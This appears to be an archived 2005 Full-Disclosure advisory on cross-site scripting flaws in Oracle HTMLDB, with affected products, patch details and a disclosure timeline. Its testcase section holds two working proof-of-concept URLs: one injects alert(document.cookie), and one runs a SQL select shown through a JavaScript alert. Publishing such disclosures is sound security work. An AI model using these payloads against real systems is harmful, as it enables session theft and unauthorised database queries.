full-disclosure - Cross-Site-Scripting Vulnerabilities in Oracle HTMLDB

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite for Android: free password hash cracker in your pocket

[<prev] [next>] [day] [month] [year] [list]

Date: Fri Oct  7 10:38:37 2005
From: ak at red-database-security.com (Kornbrust, Alexander)
Subject: Cross-Site-Scripting Vulnerabilities in Oracle
	HTMLDB 

Cross-Site-Scripting Vulnerabilities in Oracle HTMLDB 
#####################################################

 Name                Cross-Site-Scripting Vulnerabilities in Oracle
HTMLDB
 Systems Affected    Oracle HTMLDB
 Severity            Medium Risk 
 Category            Cross Site Scripting (CSS/XSS)
 Vendor URL          http://www.oracle.com 
 This advisory
http://www.red-database-security.com/advisory/oracle_htmldb_css.html
 Author              Alexander Kornbrust (ak at
red-database-security.com) 
 Date                7 October 2005 (V 1.00)

Details
#######
Oracle HTML DB is a rapid web application development tool for the
Oracle 
database. Using only a web browser and limited programming experience,
it 
is possible to develop and deploy professional-looking applications that

are both fast and secure. 

HTMLDB contains some Cross Site Scritpting vulnerabilities. An attacker 
could abuse these security bugs to execute own SQL statements in the 
database by sending specially crafted HTMLDB url to a HTMLDB user. 

Affected Products
#################
Oracle HTMLDB 

Testcase: (displays the current date (sysdate from a select-command) in
a javascript message box)
#########

http://htmldb.oracle.com/pls/otn/f?p=4500:alert(document.cookie);59:3239
664590547916206

http://htmldb.oracle.com/pls/otn/wwv_flow.accept?p_flow_id=4500&p_flow_s
tep_id=3&p_instance=428576542275032284&p_page_submission_id=3334304&p_re
quest=RUN&p_arg_names=4407099841&p_t01=KORNBRUST&p_arg_names=99887653550
5&p_t02=select sysdate||'alert("'||sysdate||'");' from
dual%3B&p_arg_names=57198154917561018&p_t03=&p_arg_names=509238151638600
37&p_t04=&p_arg_names=64882231271599126&p_t05=&p_arg_names=5706451897538
5648&p_t06=&p_arg_names=57356416829253124&p_t07=&p_arg_names=30322022623
394012&p_t08=&p_arg_names=106590927281022368&p_t09=&p_md5_checksum= 

Patch Information
#################
This bug is fixed with Critical Patch Update April 2005 (CPU April
2005). Oracle forgot 
to inform Red-Database-Security that this bug is fixed with CPU April
2005.
Oracle also forgot to mention Red-Database-Security in the credits of
CPU April 2005. 

All already published alerts are available on the web site of
Red-Database-Security GmbH
http://www.red-database-security.com/advisory/published_alerts.html

History
#######
18-feb-2004 Oracle secalert was informed

19-feb-2004 Bug confirmed

13-apr-2005 Oracle published CPU April 2005 without informing
Red-Database-Security 
that this bug is already fixed. 

07-oct-2005 Red-Database-Security published this advisory

(c) 2005 by Red-Database-Security GmbH - 7-october-2005